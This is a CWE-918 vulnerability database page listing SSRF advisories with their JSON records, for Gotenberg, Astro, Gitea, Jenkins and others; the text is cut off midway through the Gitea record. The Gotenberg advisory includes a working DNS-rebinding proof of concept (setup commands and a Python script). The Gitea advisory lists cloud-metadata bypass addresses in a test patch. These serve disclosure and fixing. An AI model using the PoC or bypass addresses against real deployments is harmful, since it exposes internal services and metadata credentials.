CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4860 vulnerabilities reference this CWE, most recent first.
GHSA-2PJM-HWX3-G287
Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.
{
"affected": [],
"aliases": [
"CVE-2024-32775"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-24T08:15:39Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.",
"id": "GHSA-2pjm-hwx3-g287",
"modified": "2026-04-28T21:34:52Z",
"published": "2024-04-24T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32775"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/embed-google-photos-album-easily/wordpress-embed-google-photos-album-plugin-2-1-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2PMG-8J9G-3C72
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.
{
"affected": [],
"aliases": [
"CVE-2026-11714"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T20:17:28Z",
"severity": "HIGH"
},
"details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.",
"id": "GHSA-2pmg-8j9g-3c72",
"modified": "2026-06-30T21:31:44Z",
"published": "2026-06-30T21:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11714"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7278580"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2PMR-289P-44R3
Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-06-08 20:10Summary
FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.
Details
pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:
func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
_, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
return err
}
The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.
The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:
err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.
The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.
Proof of Concept
Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.
Setup:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
'mkdir -p /tmp/rebind_srv && \
echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'
Alice runs the attack without auth:
import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"
hits = 0
for i in range(20):
r = requests.post(
f"{T}/forms/chromium/convert/url",
files={"url": (None, REBIND)},
timeout=30,
)
if r.status_code != 200:
continue
open("/tmp/_r.pdf", "wb").write(r.content)
txt = subprocess.run(
["pdftotext", "/tmp/_r.pdf", "-"],
capture_output=True, text=True,
).stdout
if MARKER in txt:
hits += 1
print(f"{hits}/20 rebind hits")
Observed output against gotenberg 8.31.0:
2/20 rebind hits
The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.
Impact
An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.
Recommended Fix
Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:
decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
allow = false
} else if len(decision.Pinned) > 0 {
pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}
Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42592"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:57:37Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium\u0027s actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium\u0027s network stack issues its own DNS lookup for the hostname, independent of Go\u0027s resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.\u003csubdomain\u003e.requestrepo.com` resolves to `\u003cpublic-ip\u003e` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `\u003cpublic-ip\u003e%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n \u0027mkdir -p /tmp/rebind_srv \u0026\u0026 \\\n echo \"\u003ch1\u003eINTERNAL-ONLY-REBIND-HIT\u003c/h1\u003e\" \u003e /tmp/rebind_srv/index.html\u0027\ndocker exec -d gotenberg-poc sh -c \\\n \u0027cd /tmp/rebind_srv \u0026\u0026 python3 -m http.server 80 --bind 127.0.0.1\u0027\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.\u003csubdomain\u003e.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n r = requests.post(\n f\"{T}/forms/chromium/convert/url\",\n files={\"url\": (None, REBIND)},\n timeout=30,\n )\n if r.status_code != 200:\n continue\n open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n txt = subprocess.run(\n [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n capture_output=True, text=True,\n ).stdout\n if MARKER in txt:\n hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker\u0027s PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container\u0027s loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg\u0027s deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker\u0027s normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg\u0027s `decideOutbound` check all the way to Chromium\u0027s connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n allow = false\n} else if len(decision.Pinned) \u003e 0 {\n pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP \u003chostname\u003e \u003cpinned-ip\u003e\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-2pmr-289p-44r3",
"modified": "2026-06-08T20:10:54Z",
"published": "2026-05-07T00:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42592"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg\u0027s DNS rebinding bypasses SSRF validation on Chromium URL conversion routes"
}
GHSA-2PVR-WF23-7PC7
Vulnerability from github – Published: 2026-06-16 14:38 – Updated: 2026-06-16 14:38Summary
Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.
Who is affected
This affects SSR deployments that:
- Have a prerendered 404 or 500 page
- Use
createRequestFromNodeRequestfromastro/app/nodewithapp.render()without overridingprerenderedErrorPageFetch— this includes custom servers built on the public API and third-party adapters
Not affected:
- @astrojs/node >= 9.5.4 (reads error pages from disk)
- @astrojs/cloudflare (uses the ASSETS binding)
- The dev server (renders error pages in-process)
How it works
createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)
When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.
An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.
Remediation
The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.
Credit
5ud0 / Tarmo Technologies
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54299"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-16T14:38:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAstro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response.\n\n## Who is affected\n\nThis affects SSR deployments that:\n\n1. Have a prerendered 404 or 500 page\n2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` \u2014 this includes custom servers built on the public API and third-party adapters\n\n**Not affected:**\n- `@astrojs/node` \u003e= 9.5.4 (reads error pages from disk)\n- `@astrojs/cloudflare` (uses the ASSETS binding)\n- The dev server (renders error pages in-process)\n\n## How it works\n\n`createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` \u2014 it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.)\n\nWhen `app.render()` encounters a 404 or 500 with a prerendered error route, `default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client.\n\nAn attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.\n\n## Remediation\n\nThe error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.\n\n## Credit\n\n5ud0 / Tarmo Technologies",
"id": "GHSA-2pvr-wf23-7pc7",
"modified": "2026-06-16T14:38:06Z",
"published": "2026-06-16T14:38:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro: Host header SSRF in prerendered error page fetch"
}
GHSA-2Q27-6P2H-Q6R3
Vulnerability from github – Published: 2026-06-24 15:31 – Updated: 2026-06-24 15:31Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks, allowing attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.
{
"affected": [],
"aliases": [
"CVE-2026-57303"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-24T14:17:36Z",
"severity": "HIGH"
},
"details": "Jenkins Assembla Plugin 1.4 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks, allowing attackers able to control the responses of the configured Assembla server to extract secrets from the Jenkins controller or perform server-side request forgery.",
"id": "GHSA-2q27-6p2h-q6r3",
"modified": "2026-06-24T15:31:48Z",
"published": "2026-06-24T15:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57303"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-06-24/#SECURITY-3692%20(1)"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2QHW-4VW3-X335
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-23 15:30An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Mail function.
{
"affected": [],
"aliases": [
"CVE-2025-29459"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:15Z",
"severity": "HIGH"
},
"details": "An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Mail function.",
"id": "GHSA-2qhw-4vw3-x335",
"modified": "2025-04-23T15:30:47Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29459"
},
{
"type": "WEB",
"url": "https://docs.mybb.com/1.8/administration/security/protection/#limit-access-to-private-hosts-and-ip-addresses"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/ggnmg5nnu635kvrc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2R5C-GW76-RH3W
Vulnerability from github – Published: 2026-07-21 20:27 – Updated: 2026-07-21 20:27Summary
Gitea's default SSRF allow-list (MatchBuiltinExternal, used by both webhook delivery and repository migrations) relies on Go's standard library net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193. As a result, several IP ranges commonly used for cloud metadata services, internal networks, and IPv6 transition mechanisms are not blocked, allowing authenticated users to send HTTP requests to those destinations and read the responses via the webhook history UI.
Details
The vulnerability lives in HostMatchList.checkIP, specifically line 103:
case MatchBuiltinExternal:
if ip.IsGlobalUnicast() && !ip.IsPrivate() {
return true
}
net.IP.IsPrivate() recognises only:
- 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918)
- fc00::/7 (RFC 4193 IPv6 ULA)
It does not recognise:
| Range | Description |
|---|---|
100.64.0.0/10 |
RFC 6598 Carrier-Grade NAT |
168.63.129.16/32 |
Azure WireServer metadata endpoint |
172.32.0.0/11 |
Non-RFC1918 portion of 172.0.0.0/8 (real-world internal use) |
64:ff9b::/96 |
RFC 6052 IPv6 NAT64 (can embed 169.254.169.254) |
2001::/32 |
RFC 4380 Teredo tunneling |
2002::/16 |
RFC 3056 6to4 |
2001:db8::/32 |
RFC 3849 documentation |
The default is reached by webhook delivery at services/webhook/deliver.go#L312-L316 and by repository migrations at services/migrations/migrate.go#L522.
The SSRF is not blind. Webhook delivery captures the response status, headers, and up to 1 MiB of body (services/webhook/deliver.go#L259-L270) and renders them in the webhook history UI (templates/repo/settings/webhook/history.tmpl#L75-L85), so attackers can read everything the targeted internal service returns.
Impact
An authenticated user who can create or modify a webhook can:
- Reach cloud metadata endpoints (AWS IMDS via NAT64
64:ff9b::a9fe:a9fe, Azure WireServer168.63.129.16) - Probe and exfiltrate from internal services on CGNAT (
100.64.0.0/10) or non-RFC1918 172.x ranges - Read full HTTP response bodies through the webhook history UI
The same default is applied to repository migrations, broadening the attack surface to users who can trigger a migration.
Proof of Concept
The attached patch (gitea_ssrf_test.patch) adds TestSSRFBypassRanges to the existing test file. It uses Go subtests so each vulnerable range is its own named failing test case.
Run with:
go test -v ./modules/hostmatcher -run TestSSRFBypassRanges
Expected result on 4c37f4dacbac022f7beca75272439331f0368830:
- 8 PASS — RFC 1918, IPv6 private ranges, and legitimate public IPs (control cases)
- 10 FAIL — Each failing subtest is a documented SSRF bypass
Sample failure output:
--- FAIL: TestSSRFBypassRanges/CGNAT_100.64.0.0/10_(RFC_6598)
Error: Not equal: expected: false, actual: true
Messages: ip=100.64.0.1
--- FAIL: TestSSRFBypassRanges/Azure_WireServer_168.63.129.16
Error: Not equal: expected: false, actual: true
Messages: ip=168.63.129.16
--- FAIL: TestSSRFBypassRanges/IPv6_NAT64_embedded_AWS_IMDS_169.254.169.254
Error: Not equal: expected: false, actual: true
Messages: ip=64:ff9b::a9fe:a9fe
Suggested Remediation
I'd suggest treating the design of MatchBuiltinExternal as the bug — IsPrivate() is too narrow a definition of "internal." A comprehensive deny-list approach is what's needed here. For reference, CC-Tweaked's AddressPredicate.PrivatePattern is a good reference list, blocking each of the ranges named in the table above plus a few others (multicast, broadcast, TEST-NET, etc.).
The exact remediation is at your discretion.
References
- Vulnerable function:
modules/hostmatcher/hostmatcher.go#L96-L114 - Default for webhooks:
services/webhook/deliver.go#L312-L316 - Default for migrations:
services/migrations/migrate.go#L522 - Response captured:
services/webhook/deliver.go#L259-L270 - Response rendered:
templates/repo/settings/webhook/history.tmpl#L75-L85 - Go stdlib
net.IP.IsPrivate(): https://pkg.go.dev/net#IP.IsPrivate - CC-Tweaked reference deny-list:
AddressPredicate.java#L116-L169 - Go subtests pattern: https://go.dev/blog/subtests
- RFC 6598 (CGNAT), RFC 6052 (NAT64), RFC 4380 (Teredo), RFC 3056 (6to4), RFC 3849 (documentation)
Patch
Proposed gitea_ssrf_test.patch:
diff --git a/modules/hostmatcher/hostmatcher_test.go b/modules/hostmatcher/hostmatcher_test.go
index c781847..0b39e60 100644
--- a/modules/hostmatcher/hostmatcher_test.go
+++ b/modules/hostmatcher/hostmatcher_test.go
@@ -159,3 +159,56 @@ func TestHostOrIPMatchesList(t *testing.T) {
}
test(cases)
}
+
+// TestSSRFBypassRanges verifies that the "external" filter (the default used by
+// webhook delivery and repository migrations) blocks dangerous IP ranges.
+//
+// Each subtest's `allowed` field is the expected return value of MatchHostOrIP:
+// - false: the IP should be blocked (rejected by the filter)
+// - true: the IP should be allowed (a legitimate public destination)
+//
+// Subtests that FAIL are documented SSRF bypasses: IP ranges that should be
+// blocked but are incorrectly allowed because the underlying check relies on
+// net.IP.IsPrivate(), which only covers RFC 1918 and RFC 4193.
+func TestSSRFBypassRanges(t *testing.T) {
+ type tc struct {
+ ip net.IP
+ allowed bool
+ }
+
+ hl := ParseHostMatchList("", "external")
+
+ cases := map[string]tc{
+ // RFC 1918 / IPv6 private ranges - correctly blocked
+ "RFC1918 10.0.0.0/8": {net.ParseIP("10.0.0.1"), false},
+ "RFC1918 172.16.0.0/12": {net.ParseIP("172.16.0.1"), false},
+ "RFC1918 192.168.0.0/16": {net.ParseIP("192.168.1.1"), false},
+ "IPv6 loopback ::1": {net.ParseIP("::1"), false},
+ "IPv6 link-local fe80::/10": {net.ParseIP("fe80::1"), false},
+ "IPv6 ULA fd00::/8": {net.ParseIP("fd00::1"), false},
+
+ // Legitimate public IPs - correctly allowed
+ "Public IPv4 (Google DNS)": {net.ParseIP("8.8.8.8"), true},
+ "Public IPv6 (Google DNS)": {net.ParseIP("2001:4860:4860::8888"), true},
+
+ // SSRF bypasses - the assertions below intentionally describe the
+ // expected secure behavior (allowed=false). Each failing subtest is
+ // a documented bypass.
+ "CGNAT 100.64.0.0/10 (RFC 6598)": {net.ParseIP("100.64.0.1"), false},
+ "CGNAT 100.127.255.254 (RFC 6598)": {net.ParseIP("100.127.255.254"), false},
+ "Azure WireServer 168.63.129.16": {net.ParseIP("168.63.129.16"), false},
+ "Non-RFC1918 172.32.0.0/11": {net.ParseIP("172.32.0.1"), false},
+ "Non-RFC1918 172.45.0.0/16": {net.ParseIP("172.45.0.1"), false},
+ "IPv6 NAT64 64:ff9b::/96 (RFC 6052)": {net.ParseIP("64:ff9b::1"), false},
+ "IPv6 NAT64 embedded AWS IMDS 169.254.169.254": {net.ParseIP("64:ff9b::a9fe:a9fe"), false},
+ "IPv6 Teredo 2001::/32 (RFC 4380)": {net.ParseIP("2001::1"), false},
+ "IPv6 6to4 2002::/16 (RFC 3056)": {net.ParseIP("2002::1"), false},
+ "IPv6 documentation 2001:db8::/32 (RFC 3849)": {net.ParseIP("2001:db8::1"), false},
+ }
+
+ for name, c := range cases {
+ t.Run(name, func(t *testing.T) {
+ assert.Equalf(t, c.allowed, hl.MatchHostOrIP("", c.ip), "ip=%v", c.ip)
+ })
+ }
+}
Credit
This vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22874"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:27:17Z",
"nvd_published_at": "2026-07-03T21:16:57Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nGitea\u0027s default SSRF allow-list ([`MatchBuiltinExternal`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher.go#L26-L27), used by both webhook delivery and repository migrations) relies on Go\u0027s standard library [`net.IP.IsPrivate()`](https://pkg.go.dev/net#IP.IsPrivate), which only covers RFC 1918 and RFC 4193. As a result, several IP ranges commonly used for cloud metadata services, internal networks, and IPv6 transition mechanisms are not blocked, allowing authenticated users to send HTTP requests to those destinations and read the responses via the webhook history UI.\n\n## Details\n\nThe vulnerability lives in [`HostMatchList.checkIP`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher.go#L96-L114), specifically [line 103](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/modules/hostmatcher/hostmatcher.go#L103):\n\n```go\ncase MatchBuiltinExternal:\n if ip.IsGlobalUnicast() \u0026\u0026 !ip.IsPrivate() {\n return true\n }\n```\n\n`net.IP.IsPrivate()` recognises only:\n- `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (RFC 1918)\n- `fc00::/7` (RFC 4193 IPv6 ULA)\n\nIt does **not** recognise:\n\n| Range | Description |\n|---|---|\n| `100.64.0.0/10` | RFC 6598 Carrier-Grade NAT |\n| `168.63.129.16/32` | Azure WireServer metadata endpoint |\n| `172.32.0.0/11` | Non-RFC1918 portion of `172.0.0.0/8` (real-world internal use) |\n| `64:ff9b::/96` | RFC 6052 IPv6 NAT64 (can embed `169.254.169.254`) |\n| `2001::/32` | RFC 4380 Teredo tunneling |\n| `2002::/16` | RFC 3056 6to4 |\n| `2001:db8::/32` | RFC 3849 documentation |\n\nThe default is reached by webhook delivery at [`services/webhook/deliver.go#L312-L316`](https://github.com/go-gitea/gitea/blob/4c37f4dacbac022f7beca75272439331f0368830/services/webhook/deliver.go#L312-L316) and by repository migrations at 